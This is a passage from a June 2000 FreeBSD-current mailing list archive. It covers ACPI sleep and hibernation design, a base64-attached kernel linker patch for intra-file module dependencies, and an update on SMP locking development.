IWASAKI writes: > >: Maybe I'm wrong because of lack of my understanding on crush dump and > >: loader. Please help us :-) > > > >I think that you might be able to do this. The real tricky part maybe > >saving hardware RAM that the drivers expect to be there when you > >wakeup. I thinking of video ram and the X server's font cache, to > >name one example. > > Drivers will need a "your hardware may have been zonked" entrypoint, > think about the i8254 counter or all the weird versions of write > only or "write here - read there" I/O registers in existence. That sounds way too hard. Why not restrict suspend activity to user-level processes and bring the kernel/drivers back up through a regular boot process? At least that way the hardware and drivers will know what they are all up to, even if some of it has changed in the mean time. > Obviously the video driver will need to send a signal or clue to the > Xserver saying "you own the device, you'd better do something" Yeah. The X server has far too much "driver" level code in it already, so probably needs to be tweaked to re-initialise itself properly. -- Andrew To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jun 19 16: 3:30 2000 Delivered-To: freebsd-current@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id 2E15537B5B0; Mon, 19 Jun 2000 16:03:16 -0700 (PDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id RAA36304; Mon, 19 Jun 2000 17:03:12 -0600 (MDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id RAA63461; Mon, 19 Jun 2000 17:01:46 -0600 (MDT) Message-Id: <200006192301.RAA63461@harmony.village.org> To: "Andrew Reilly" Subject: Re: ACPI project progress report Cc: Poul-Henning Kamp , Mitsuru IWASAKI , bfischer@Techfak.Uni-Bielefeld.DE, acpi-jp@jp.freebsd.org, dcs@newsguy.com, freebsd-current@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG In-reply-to: Your message of "Tue, 20 Jun 2000 08:55:31 +1000." <20000620085531.A38839@gurney.reilly.home> References: <20000620085531.A38839@gurney.reilly.home> <200006191630.KAA60652@harmony.village.org> <45525.961432574@critter.freebsd.dk> Date: Mon, 19 Jun 2000 17:01:46 -0600 From: Warner Losh Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <20000620085531.A38839@gurney.reilly.home> "Andrew Reilly" writes: : That sounds way too hard. Why not restrict suspend activity to : user-level processes and bring the kernel/drivers back up through : a regular boot process? At least that way the hardware and drivers : will know what they are all up to, even if some of it has changed : in the mean time. Takes too long... That's shutdown, not S4. : > Obviously the video driver will need to send a signal or clue to the : > Xserver saying "you own the device, you'd better do something" : : Yeah. The X server has far too much "driver" level code in it : already, so probably needs to be tweaked to re-initialise itself : properly. Yes. Likely. But if we're going to support sleep modes, we'll need to do this. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jun 19 16: 7:12 2000 Delivered-To: freebsd-current@freebsd.org Received: from peach.ocn.ne.jp (peach.ocn.ne.jp [210.145.254.87]) by hub.freebsd.org (Postfix) with ESMTP id 206B837B807; Mon, 19 Jun 2000 16:07:05 -0700 (PDT) (envelope-from dcs@newsguy.com) Received: from newsguy.com (p21-dn01kiryunisiki.gunma.ocn.ne.jp [211.0.245.22]) by peach.ocn.ne.jp (8.9.1a/OCN/) with ESMTP id IAA07139; Tue, 20 Jun 2000 08:06:51 +0900 (JST) Message-ID: <394EA24C.8AF01860@newsguy.com> Date: Tue, 20 Jun 2000 07:44:28 +0900 From: "Daniel C. Sobral" X-Mailer: Mozilla 4.7 [en] (Win98; I) X-Accept-Language: en,pt-BR,ja MIME-Version: 1.0 To: Warner Losh Cc: Mitsuru IWASAKI , bfischer@Techfak.Uni-Bielefeld.DE, acpi-jp@jp.freebsd.org, freebsd-current@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG Subject: Re: ACPI project progress report References: <20000620003220R.iwasaki@jp.FreeBSD.org> <394AB05C.569DD4DD@newsguy.com> <20000617135611E.iwasaki@jp.FreeBSD.org> <20000619070144.B554@broccoli.no-support.loc> <200006191630.KAA60652@harmony.village.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Warner Losh wrote: > > In message <20000620003220R.iwasaki@jp.FreeBSD.org> Mitsuru IWASAKI writes: > : Maybe I'm wrong because of lack of my understanding on crush dump and > : loader. Please help us :-) > > I think that you might be able to do this. The real tricky part maybe > saving hardware RAM that the drivers expect to be there when you > wakeup. I thinking of video ram and the X server's font cache, to > name one example. It would be the driver's responsibility to save what it can on SLEEP, and rebuild what it couldn't on WAKE. If the driver is simply incapable for some reason, either always or at specific times, it should fail on SLEEP, effectively disabling hybernation on any setup with it (shoganai). -- Daniel C. Sobral (8-DCS) dcs@newsguy.com dcs@freebsd.org capo@the.great.underground.bsdconpiracy.org "He is my minion, so he doesn't need a name." To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jun 19 17: 6: 5 2000 Delivered-To: freebsd-current@freebsd.org Received: from anchor-post-32.mail.demon.net (anchor-post-32.mail.demon.net [194.217.242.90]) by hub.freebsd.org (Postfix) with ESMTP id 6CBE337B824; Mon, 19 Jun 2000 17:05:57 -0700 (PDT) (envelope-from n_hibma@qubesoft.com) Received: from calcaphon.demon.co.uk ([193.237.19.5] helo=bluebottle.qubesoft.com) by anchor-post-32.mail.demon.net with esmtp (Exim 2.12 #1) id 134BY7-000EH5-0W; Tue, 20 Jun 2000 01:05:52 +0100 Received: from henny.webweaving.org (henny.qubesoft.com [192.168.1.5]) by bluebottle.qubesoft.com (8.9.3/8.9.1) with ESMTP id BAA86756; Tue, 20 Jun 2000 01:05:56 +0100 (BST) (envelope-from n_hibma@qubesoft.com) Received: from localhost (localhost [127.0.0.1]) by henny.webweaving.org (8.9.3/8.9.3) with ESMTP id AAA31428; Tue, 20 Jun 2000 00:59:47 +0100 (BST) (envelope-from n_hibma@qubesoft.com) Date: Tue, 20 Jun 2000 00:59:47 +0100 (BST) From: Nick Hibma X-Sender: n_hibma@localhost Reply-To: Nick Hibma To: Peter Wemm , FreeBSD CURRENT Mailing List , Doug Rabson Cc: green@FreeBSD.ORG Subject: Using KLD's with modules that depend other modules in the same file Message-ID: MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="0-1810085133-961459187=:31393" Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. --0-1810085133-961459187=:31393 Content-Type: TEXT/PLAIN; charset=US-ASCII When loading modules with other modules in the same linker file, depending on each other, currently the kernel linker chokes. Example: the uhub, uhci, ohci and usb modules are (for unrelated reasons) linked into one big file. It is however impossible currently to preload that file because the dependencies are not found if MODULE_DEPEND and MODULE_VERSION are added in appropriate places. Currently we do the following: for all linker files (A) check dependencies for all modules in linker file against found_modules if resolves (B) add the modules to found_modules The attached patch changes this to for all linker files (B) create a list of modules in the file (file_modules) (A) check dependencies for all modules in linker file against found_modules and file_modules if resolves (C) concatenate file_modules to found_modules Step A and B are reversed and a copy loop (C) has been added. As a side effect it is now also possible for modules to depend on themselves (usb_depend_on_usb): % nm /modules/usb.ko | grep depend_on 00019bc0 d _uhub_depend_on_usb 00019e88 d _usb_depend_on_usb Comments? Nick P.S.: I am aware of the people involved being at Usenix, so I'll postpone committing this until they have had time to comment on it. -- n_hibma@webweaving.org n_hibma@freebsd.org USB project http://www.etla.net/~n_hibma/ --0-1810085133-961459187=:31393 Content-Type: TEXT/PLAIN; charset=US-ASCII; name="kern_linker.c.diff" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: Content-Disposition: attachment; filename="kern_linker.c.diff" SW5kZXg6IGtlcm5fbGlua2VyLmMNCj09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0N ClJDUyBmaWxlOiAvaG9tZS9uY3ZzL3NyYy9zeXMva2Vybi9rZXJuX2xpbmtl ci5jLHYNCnJldHJpZXZpbmcgcmV2aXNpb24gMS40Ng0KZGlmZiAtdyAtdSAt cjEuNDYga2Vybl9saW5rZXIuYw0KLS0tIGtlcm5fbGlua2VyLmMJMjAwMC8w NS8yNiAwMjowNDozNAkxLjQ2DQorKysga2Vybl9saW5rZXIuYwkyMDAwLzA2 LzE5IDIzOjM2OjI0DQpAQCAtOTIzLDExICs5MjMsMTEgQEANCiAgKi8NCiAN CiBzdGF0aWMgbW9kbGlzdF90DQotbW9kbGlzdF9sb29rdXAoY29uc3QgY2hh ciAqbmFtZSkNCittb2RsaXN0X2xvb2t1cChtb2RsaXN0aGVhZF90ICptb2R1 bGVzLCBjb25zdCBjaGFyICpuYW1lKQ0KIHsNCiAgICAgbW9kbGlzdF90IG1v ZDsNCiANCi0gICAgZm9yIChtb2QgPSBUQUlMUV9GSVJTVCgmZm91bmRfbW9k dWxlcyk7IG1vZDsgbW9kID0gVEFJTFFfTkVYVChtb2QsIGxpbmspKSB7DQor ICAgIGZvciAobW9kID0gVEFJTFFfRklSU1QobW9kdWxlcyk7IG1vZDsgbW9k ID0gVEFJTFFfTkVYVChtb2QsIGxpbmspKSB7DQogCWlmICghc3RyY21wKG1v ZC0+bmFtZSwgbmFtZSkpDQogCSAgICByZXR1cm4gbW9kOw0KICAgICB9DQpA QCAtOTYwLDEwICs5NjAsMTIgQEANCiAgICAgaW50CQkJaTsNCiAgICAgaW50 CQkJcmVzb2x2ZXM7DQogICAgIG1vZGxpc3RfdAkJbW9kOw0KKyAgICBtb2Rs aXN0aGVhZF90CWZpbGVfbW9kdWxlczsNCiANCiAgICAgVEFJTFFfSU5JVCgm bG9hZGVkX2ZpbGVzKTsNCiAgICAgVEFJTFFfSU5JVCgmZGVwZW5kZWRfZmls ZXMpOw0KICAgICBUQUlMUV9JTklUKCZmb3VuZF9tb2R1bGVzKTsNCisgICAg VEFJTFFfSU5JVCgmZmlsZV9tb2R1bGVzKTsNCiAgICAgZXJyb3IgPSAwOw0K IA0KICAgICBtb2RwdHIgPSBOVUxMOw0KQEAgLTEwMDIsNyArMTAwNCw3IEBA DQogCSAgICBpZiAobXAtPm1kX3R5cGUgIT0gTURUX1ZFUlNJT04pDQogCQlj b250aW51ZTsNCiAJICAgIG1vZG5hbWUgPSBtcC0+bWRfY3ZhbDsNCi0JICAg IGlmIChtb2RsaXN0X2xvb2t1cChtb2RuYW1lKSAhPSBOVUxMKSB7DQorCSAg ICBpZiAobW9kbGlzdF9sb29rdXAoJmZvdW5kX21vZHVsZXMsIG1vZG5hbWUp ICE9IE5VTEwpIHsNCiAJCXByaW50ZigibW9kdWxlICVzIGFscmVhZHkgcHJl c2VudCFcbiIsIG1vZG5hbWUpOw0KIAkJLyogWFhYIHdoYXQgY2FuIHdlIGRv PyB0aGlzIGlzIGEgYnVpbGQgZXJyb3IuIDotKCAqLw0KIAkJY29udGludWU7 DQpAQCAtMTAyNSwzNCArMTAyNywyMCBAQA0KICAgICBmb3IgKGxmID0gVEFJ TFFfRklSU1QoJmxvYWRlZF9maWxlcyk7IGxmOyBsZiA9IFRBSUxRX05FWFQo bGYsIGxvYWRlZCkpIHsNCiAJZGVwcyA9IChzdHJ1Y3QgbGlua2VyX3NldCop DQogCSAgICBsaW5rZXJfZmlsZV9sb29rdXBfc3ltYm9sKGxmLCBNRFRfU0VU TkFNRSwgMCk7DQotCS8qDQotCSAqIEZpcnN0LCBsb29rIHRvIHNlZSBpZiB3 ZSB3b3VsZCBzdWNjZXNzZnVsbHkgbGluayB3aXRoIHRoaXMgc3R1ZmYuDQot CSAqLw0KKw0KIAlyZXNvbHZlcyA9IDE7CS8qIHVubGVzcyB3ZSBrbm93IG90 aGVyd2lzZSAqLw0KKw0KIAlpZiAoZGVwcykgew0KLQkgICAgZm9yIChpID0g MDsgaSA8IGRlcHMtPmxzX2xlbmd0aDsgaSsrKSB7DQotCQltcCA9IGxpbmtl cl9yZWxvY19wdHIobGYsIGRlcHMtPmxzX2l0ZW1zW2ldKTsNCi0JCWlmICht cC0+bWRfdHlwZSAhPSBNRFRfREVQRU5EKQ0KLQkJICAgIGNvbnRpbnVlOw0K LQkJbW9kbmFtZSA9IGxpbmtlcl9yZWxvY19wdHIobGYsIG1wLT5tZF9jdmFs KTsNCi0JCWlmIChtb2RsaXN0X2xvb2t1cChtb2RuYW1lKSA9PSBOVUxMKSB7 DQotCQkgICAgLyogb2ssIHRoZSBtb2R1bGUgaXNuJ3QgaGVyZSB5ZXQsIHdl IGFyZSBub3QgZmluaXNoZWQgKi8NCi0JCSAgICByZXNvbHZlcyA9IDA7DQot CQl9DQotCSAgICB9DQotCX0NCiAJLyoNCi0JICogT0ssIGlmIHdlIGZvdW5k IG91ciBtb2R1bGVzLCB3ZSBjYW4gbGluay4gIFNvLCAicHJvdmlkZSIgdGhl DQotCSAqIG1vZHVsZXMgaW5zaWRlIGFuZCBhZGQgaXQgdG8gdGhlIGVuZCBv ZiB0aGUgbGluayBvcmRlciBsaXN0Lg0KKwkgICAgICogRmlyc3QsIGZpbmQg YWxsIHRoZSBtb2R1bGVzIHRoYXQgYXJlIGNvbnRhaW5lZCBpbiB0aGUgZmls ZS4NCiAJICovDQotCWlmIChyZXNvbHZlcykgew0KLQkgICAgaWYgKGRlcHMp IHsNCiAJCWZvciAoaSA9IDA7IGkgPCBkZXBzLT5sc19sZW5ndGg7IGkrKykg ew0KIAkJICAgIG1wID0gbGlua2VyX3JlbG9jX3B0cihsZiwgZGVwcy0+bHNf aXRlbXNbaV0pOw0KIAkJICAgIGlmIChtcC0+bWRfdHlwZSAhPSBNRFRfVkVS U0lPTikNCiAJCQljb250aW51ZTsNCiAJCSAgICBtb2RuYW1lID0gbGlua2Vy X3JlbG9jX3B0cihsZiwgbXAtPm1kX2N2YWwpOw0KLQkJICAgIGlmIChtb2Rs aXN0X2xvb2t1cChtb2RuYW1lKSAhPSBOVUxMKSB7DQorCQlpZiAobW9kbGlz dF9sb29rdXAoJmZvdW5kX21vZHVsZXMsIG1vZG5hbWUpICE9IE5VTEwNCisJ CSAgICB8fCBtb2RsaXN0X2xvb2t1cCgmZmlsZV9tb2R1bGVzLCBtb2RuYW1l KSAhPSBOVUxMKSB7DQogCQkJcHJpbnRmKCJtb2R1bGUgJXMgYWxyZWFkeSBw cmVzZW50IVxuIiwgbW9kbmFtZSk7DQogCQkJbGlua2VyX2ZpbGVfdW5sb2Fk KGxmKTsNCiAJCQlUQUlMUV9SRU1PVkUoJmxvYWRlZF9maWxlcywgbGYsIGxv YWRlZCk7DQpAQCAtMTA2NCw5ICsxMDUyLDM4IEBADQogCQkgICAgYnplcm8o bW9kLCBzaXplb2YoKm1vZCkpOw0KIAkJICAgIG1vZC0+Y29udGFpbmVyID0g bGY7DQogCQkgICAgbW9kLT5uYW1lID0gbW9kbmFtZTsNCi0JCSAgICBUQUlM UV9JTlNFUlRfVEFJTCgmZm91bmRfbW9kdWxlcywgbW9kLCBsaW5rKTsNCisJ CVRBSUxRX0lOU0VSVF9UQUlMKCZmaWxlX21vZHVsZXMsIG1vZCwgbGluayk7 DQorCSAgICB9DQorDQorCSAgICAvKg0KKwkgICAgICogVGhlbiwgbG9vayB0 byBzZWUgaWYgd2Ugd291bGQgc3VjY2Vzc2Z1bGx5IGxpbmsgd2l0aCB0aGlz IHN0dWZmLg0KKwkgICAgICovDQorCSAgICBmb3IgKGkgPSAwOyBpIDwgZGVw cy0+bHNfbGVuZ3RoOyBpKyspIHsNCisJCW1wID0gbGlua2VyX3JlbG9jX3B0 cihsZiwgZGVwcy0+bHNfaXRlbXNbaV0pOw0KKwkJaWYgKG1wLT5tZF90eXBl ICE9IE1EVF9ERVBFTkQpDQorCQkgICAgY29udGludWU7DQorCQltb2RuYW1l ID0gbGlua2VyX3JlbG9jX3B0cihsZiwgbXAtPm1kX2N2YWwpOw0KKwkJaWYg KG1vZGxpc3RfbG9va3VwKCZmb3VuZF9tb2R1bGVzLCBtb2RuYW1lKSA9PSBO VUxMDQorCQkgICAgJiYgbW9kbGlzdF9sb29rdXAoJmZpbGVfbW9kdWxlcywg bW9kbmFtZSkgPT0gTlVMTCkgew0KKwkJICAgIC8qIG9rLCB0aGUgbW9kdWxl IGlzbid0IGhlcmUgeWV0LCB3ZSBhcmUgbm90IGZpbmlzaGVkICovDQorCQkg ICAgcmVzb2x2ZXMgPSAwOw0KIAkJfQ0KIAkgICAgfQ0KKwl9DQorCS8qDQor CSAqIE9LLCBpZiB3ZSBmb3VuZCBvdXIgbW9kdWxlcywgd2UgY2FuIGxpbmsu ICBTbywgInByb3ZpZGUiIHRoZQ0KKwkgKiBtb2R1bGVzIGluc2lkZSBhbmQg YWRkIGl0IHRvIHRoZSBlbmQgb2YgdGhlIGxpbmsgb3JkZXIgbGlzdC4NCisJ ICovDQorCWlmIChyZXNvbHZlcykgew0KKwkgICAgLyoNCisJICAgICAqIENv cHkgdGhlIGxpc3Qgb2YgbW9kdWxlcyBmb3VuZCBpbiB0aGUgZmlsZSBpbnRv IHRoZSBnbG9iYWwNCisJICAgICAqIGxpc3Qgb2YgbW9kdWxlcyBhdmFpbGFi bGUuDQorCSAgICAgKi8NCisJICAgIHdoaWxlICgobW9kID0gVEFJTFFfRklS U1QoJmZpbGVfbW9kdWxlcykpKSB7DQorCQlUQUlMUV9SRU1PVkUoJmZpbGVf bW9kdWxlcywgbW9kLCBsaW5rKTsNCisJCVRBSUxRX0lOU0VSVF9UQUlMKCZm b3VuZF9tb2R1bGVzLCBtb2QsIGxpbmspOw0KKwkgICAgfQ0KKyANCiAJICAg IFRBSUxRX1JFTU9WRSgmbG9hZGVkX2ZpbGVzLCBsZiwgbG9hZGVkKTsNCiAJ ICAgIFRBSUxRX0lOU0VSVF9UQUlMKCZkZXBlbmRlZF9maWxlcywgbGYsIGxv YWRlZCk7DQogCSAgICAvKg0KQEAgLTEwNzUsNiArMTA5MiwxMSBAQA0KIAkg ICAgICogQWxzbywgd2UndmUgYnVzdGVkIHRoZSB0YWlscSBuZXh0IHBvaW50 ZXIgd2l0aCB0aGUgUkVNT1ZFLg0KIAkgICAgICovDQogCSAgICBnb3RvIHJl c3RhcnQ7DQorCX0gZWxzZSB7DQorCSAgICB3aGlsZSAoKG1vZCA9IFRBSUxR X0ZJUlNUKCZmaWxlX21vZHVsZXMpKSkgew0KKwkJVEFJTFFfUkVNT1ZFKCZm aWxlX21vZHVsZXMsIG1vZCwgbGluayk7DQorCSAgICAJZnJlZShtb2QsIE1f TElOS0VSKTsNCisJICAgIH0NCiAJfQ0KICAgICB9DQogDQpAQCAtMTEwNiw3 ICsxMTI4LDcgQEANCiAJCWlmIChtcC0+bWRfdHlwZSAhPSBNRFRfREVQRU5E KQ0KIAkJICAgIGNvbnRpbnVlOw0KIAkJbW9kbmFtZSA9IGxpbmtlcl9yZWxv Y19wdHIobGYsIG1wLT5tZF9jdmFsKTsNCi0JCW1vZCA9IG1vZGxpc3RfbG9v a3VwKG1vZG5hbWUpOw0KKwkJbW9kID0gbW9kbGlzdF9sb29rdXAoJmZvdW5k X21vZHVsZXMsIG1vZG5hbWUpOw0KIAkJbW9kLT5jb250YWluZXItPnJlZnMr KzsNCiAJCWVycm9yID0gbGlua2VyX2ZpbGVfYWRkX2RlcGVuZGFuY3kobGYs IG1vZC0+Y29udGFpbmVyKTsNCiAJCWlmIChlcnJvcikNCkBAIC0xMzExLDcg KzEzMzMsNyBAQA0KIAkgICAgaWYgKG1wLT5tZF90eXBlICE9IE1EVF9WRVJT SU9OKQ0KIAkJY29udGludWU7DQogCSAgICBtb2RuYW1lID0gbGlua2VyX3Jl bG9jX3B0cihsZiwgbXAtPm1kX2N2YWwpOw0KLQkgICAgaWYgKG1vZGxpc3Rf bG9va3VwKG1vZG5hbWUpICE9IE5VTEwpIHsNCisJICAgIGlmIChtb2RsaXN0 X2xvb2t1cCgmZm91bmRfbW9kdWxlcywgbW9kbmFtZSkgIT0gTlVMTCkgew0K IAkJcHJpbnRmKCJtb2R1bGUgJXMgYWxyZWFkeSBwcmVzZW50IVxuIiwgbW9k bmFtZSk7DQogCQlyZXR1cm4gRUVYSVNUOw0KIAkgICAgfQ0KQEAgLTEzMzQs NyArMTM1Niw3IEBADQogCSAgICB9DQogCSAgICBpZiAoaiA8IGRlcHMtPmxz X2xlbmd0aCkJLyogZWFybHkgZXhpdCwgaXQncyBhIHNlbGYgcmVmZXJlbmNl ICovDQogCQljb250aW51ZTsNCi0JICAgIG1vZCA9IG1vZGxpc3RfbG9va3Vw KG1vZG5hbWUpOw0KKwkgICAgbW9kID0gbW9kbGlzdF9sb29rdXAoJmZvdW5k X21vZHVsZXMsIG1vZG5hbWUpOw0KIAkgICAgaWYgKG1vZCkgewkJLyogd29v aG9vLCBpdCdzIGxvYWRlZCBhbHJlYWR5ICovDQogCQlsZmRlcCA9IG1vZC0+ Y29udGFpbmVyOw0KIAkJbGZkZXAtPnJlZnMrKzsNCg== --0-1810085133-961459187=:31393-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jun 19 17:16:21 2000 Delivered-To: freebsd-current@freebsd.org Received: from sr14.nsw-remote.bigpond.net.au (sr14.nsw-remote.bigpond.net.au [24.192.3.29]) by hub.freebsd.org (Postfix) with ESMTP id B3A0137B880 for ; Mon, 19 Jun 2000 17:16:15 -0700 (PDT) (envelope-from areilly@nsw.bigpond.net.au) Received: from areilly.bpc-users.org (CPE-144-132-171-71.nsw.bigpond.net.au [144.132.171.71]) by sr14.nsw-remote.bigpond.net.au (Pro-8.9.3/8.9.3) with SMTP id KAA27252 for ; Tue, 20 Jun 2000 10:16:09 +1000 (EST) Received: (qmail 49345 invoked by uid 1000); 20 Jun 2000 00:16:08 -0000 From: "Andrew Reilly" Date: Tue, 20 Jun 2000 10:16:08 +1000 To: Warner Losh Cc: Andrew Reilly , Poul-Henning Kamp , Mitsuru IWASAKI , bfischer@Techfak.Uni-Bielefeld.DE, acpi-jp@jp.freebsd.org, dcs@newsguy.com, freebsd-current@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG Subject: Re: ACPI project progress report Message-ID: <20000620101608.A38965@gurney.reilly.home> References: <20000620085531.A38839@gurney.reilly.home> <200006191630.KAA60652@harmony.village.org> <45525.961432574@critter.freebsd.dk> <20000620085531.A38839@gurney.reilly.home> <200006192301.RAA63461@harmony.village.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <200006192301.RAA63461@harmony.village.org>; from imp@village.org on Mon, Jun 19, 2000 at 05:01:46PM -0600 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, Jun 19, 2000 at 05:01:46PM -0600, Warner Losh wrote: > In message <20000620085531.A38839@gurney.reilly.home> "Andrew Reilly" writes: > : That sounds way too hard. Why not restrict suspend activity to > : user-level processes and bring the kernel/drivers back up through > : a regular boot process? At least that way the hardware and drivers > : will know what they are all up to, even if some of it has changed > : in the mean time. > > Takes too long... That's shutdown, not S4. Yes. But what is the difference, really? As far as the hardware is concerned, it's being booted. If that process can be sped up by using the "S4" mechanisms, why can't they be applied to a regular boot process too? [I'm thinking about a kernel equivelant of the "clean shutdown" flag on file systems.] Fundamentally, is there no way to get the kernel and drivers to go through a full boot phase in a small fraction of the time that it takes to repopulate 64M of RAM from disk? (*) I'm concerned about trying to take short-cuts with booting, because I've seen both the Toshiba laptop that I'm using now, and my mother's HP desktop system hang horribly hard when they should have been coming out of suspend. (Both W'98.) I like the idea that my laptop will save power by shutting down after a while, but I don't want to get into trouble if I forget whether I was docked or not, or whether the floppy was plugged in or not, when next I turn it on. (*) Speaking of which: why are we considering doing process dumps into a _different_ swap-ish partition, instead of just ensuring that all processes are sleeping in the normal swap partition? If that was done, then they would just page themselves back in as needed, on wake-up. Sorry for blathering. This is just really interesting stuff. -- Andrew To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jun 19 17:31: 8 2000 Delivered-To: freebsd-current@freebsd.org Received: from mailtoaster2.pipeline.ch (mailtoaster2.pipeline.ch [62.48.0.71]) by hub.freebsd.org (Postfix) with ESMTP id E397737B59D for ; Mon, 19 Jun 2000 17:31:02 -0700 (PDT) (envelope-from oppermann@pipeline.ch) Received: (qmail 89509 invoked from network); 20 Jun 2000 00:33:32 -0000 Received: from unknown (HELO pipeline.ch) ([62.48.0.53]) (envelope-sender ) by mailtoaster2.pipeline.ch (qmail-ldap-1.03) with RC4-MD5 encrypted SMTP for ; 20 Jun 2000 00:33:32 -0000 Message-ID: <394EBB2F.8601C761@pipeline.ch> Date: Tue, 20 Jun 2000 02:30:39 +0200 From: Andre Oppermann X-Mailer: Mozilla 4.73 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: Andrew Reilly Cc: Warner Losh , Poul-Henning Kamp , Mitsuru IWASAKI , bfischer@Techfak.Uni-Bielefeld.DE, acpi-jp@jp.freebsd.org, dcs@newsguy.com, freebsd-current@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG Subject: Re: ACPI project progress report References: <20000620085531.A38839@gurney.reilly.home> <200006191630.KAA60652@harmony.village.org> <45525.961432574@critter.freebsd.dk> <20000620085531.A38839@gurney.reilly.home> <200006192301.RAA63461@harmony.village.org> <20000620101608.A38965@gurney.reilly.home> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Andrew Reilly wrote: > > On Mon, Jun 19, 2000 at 05:01:46PM -0600, Warner Losh wrote: > > In message <20000620085531.A38839@gurney.reilly.home> "Andrew Reilly" writes: > > : That sounds way too hard. Why not restrict suspend activity to > > : user-level processes and bring the kernel/drivers back up through > > : a regular boot process? At least that way the hardware and drivers > > : will know what they are all up to, even if some of it has changed > > : in the mean time. > > > > Takes too long... That's shutdown, not S4. > > Yes. But what is the difference, really? As far as the > hardware is concerned, it's being booted. If that process can > be sped up by using the "S4" mechanisms, why can't they be > applied to a regular boot process too? [I'm thinking about a > kernel equivelant of the "clean shutdown" flag on file systems.] If you resume a W2k system from hibernation it will basically boot but with restoring from swap what was running before. > Fundamentally, is there no way to get the kernel and drivers to > go through a full boot phase in a small fraction of the time > that it takes to repopulate 64M of RAM from disk? (*) > > I'm concerned about trying to take short-cuts with booting, > because I've seen both the Toshiba laptop that I'm using now, > and my mother's HP desktop system hang horribly hard when they > should have been coming out of suspend. (Both W'98.) > > I like the idea that my laptop will save power by shutting down > after a while, but I don't want to get into trouble if I forget > whether I was docked or not, or whether the floppy was plugged > in or not, when next I turn it on. > > (*) Speaking of which: why are we considering doing process > dumps into a _different_ swap-ish partition, instead of just > ensuring that all processes are sleeping in the normal swap > partition? If that was done, then they would just page > themselves back in as needed, on wake-up. Yes, W2k pages everything out on hibernate and swaps it in back again when you start using an application that was running before. It's pretty evident once you've used W2k on a Laptop, you can really feel it. > Sorry for blathering. This is just really interesting stuff. It is! :) -- Andre To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jun 19 17:34:55 2000 Delivered-To: freebsd-current@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 9D3C337B708 for ; Mon, 19 Jun 2000 17:34:47 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id RAA81825; Mon, 19 Jun 2000 17:34:47 -0700 (PDT) (envelope-from dillon) Date: Mon, 19 Jun 2000 17:34:47 -0700 (PDT) From: Matthew Dillon Message-Id: <200006200034.RAA81825@apollo.backplane.com> To: current@FreeBSD.ORG Cc: Jason Evans Subject: Re: HEADS UP: Destabilization due to SMP development References: <20000619115330.D79318@blitz.canonware.com> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG :Summary: -current will be destabilized for an extended period (on the order :of months). A tag (not a branch) will be laid down before the initial :checkin, and non-developers should either stick closely to that tag until :the kernel stabilizes, or expect large doses of pain. This tag will be :laid down as soon as June 26, 00:00 PST, with a minimum 24 hour warning :beforehand. : :--- : :Last week, approximately 20 BSD developers got together and discussed how :to move FreeBSD's SMP support to the next level. Our effort will be :largely based on the work that has been done in BSD/OS, which should make :things go much more smoothly than they otherwise might, but we still expect :-current to be destabilized for an extended period of time. : :Matthew Dillon is currently working on the locking primitives, as well as :some changes to the way our top-level kernel locking works. His initial :code will not remove spl()s. This code will probably be committed as the :... Thank you Jason! Ok, I have put up a web page that will track my efforts. http://apollo.backplane.com/FreeBSDSmp/ I got a slow start on the weekend, but I expect to have my piece commitable this week sometime. When I say committable I mean: won't crash the system outright but will still probably panic due to legacy spl*() issues, which we will fix as we see them. I am making good progress. In many respects it is actually easier to get the stuff working on a single-cpu system first since all the MP mechanisms must now work on a single-cpu system due to the preemptive kernel scheduling, but I expect I will have both single and multi-cpu systems working more or less (non-inclusive of interrupt threads, which is going to be Greg's baby, but hopefully with all the support Greg needs to implement them) in the next few days. When I get a little further along I will start making patch sets available on the same page. Probably in the next day or two. :Device driver maintainers will be able to convert device drivers over a :period of several months. We expect to have a compatibility shim in place :initially, but there will be a hard cutoff date sometime before the release :of FreeBSD 